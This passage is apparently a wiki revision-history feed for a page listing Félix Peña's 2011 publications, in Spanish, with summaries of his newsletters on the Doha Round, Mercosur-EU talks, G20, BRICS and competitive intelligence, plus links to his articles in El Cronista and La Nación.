&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1922</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1922"/>
		<updated>2011-05-21T00:57:59Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* ARTÍCULOS Y NOTAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, marzo de 2011 &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1887</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1887"/>
		<updated>2011-04-25T19:34:17Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* Condiciones para la eficacia en la inserción comercial internacional de la Argentina */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ueBajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, marzo de 2011 &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1886</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1886"/>
		<updated>2011-04-25T19:34:01Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* El valor de la región como telón de fondo de la reciente visita de Obama */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ueBajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
